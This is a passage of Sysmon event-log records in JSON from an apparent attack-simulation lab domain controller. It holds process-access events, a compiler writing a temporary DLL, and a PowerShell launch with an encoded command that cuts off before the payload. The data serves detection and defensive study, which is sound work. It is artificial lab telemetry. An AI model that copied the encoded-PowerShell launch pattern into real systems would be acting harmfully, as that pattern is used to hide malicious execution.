11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4406,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4407,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4408,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4409,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4410,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4411,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4412,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-001058320600}\r\nTargetProcessId: 4676\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-001058320600}","TargetProcessId":"4676","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4413,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:39.975\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nSourceProcessId: 3148\r\nSourceThreadId: 2512\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413B-5F2D-0000-001058320600}\r\nTargetProcessId: 4676\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:39.975","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","SourceProcessId":"3148","SourceThreadId":"2512","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413B-5F2D-0000-001058320600}","TargetProcessId":"4676","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4414,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:55:39.990\r\nProcessGuid: {90617006-413B-5F2D-0000-0010472E0600}\r\nProcessId: 2228\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\bgn45d5u.dll\r\nCreationUtcTime: 2020-08-07 11:55:39.725","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:55:39.990","ProcessGuid":"{90617006-413B-5F2D-0000-0010472E0600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\bgn45d5u.dll","CreationUtcTime":"2020-08-07 11:55:39.725","EventReceivedTime":"2020-08-07 11:55:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4415,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:40.251\r\nProcessGuid: {90617006-413C-5F2D-0000-0010D6340600}\r\nProcessId: 4664\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nFileVersion: 10.0.14393.206 (rs1_release.160915-0644)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: \"powershell.exe\" -noninteractive -encodedcommand 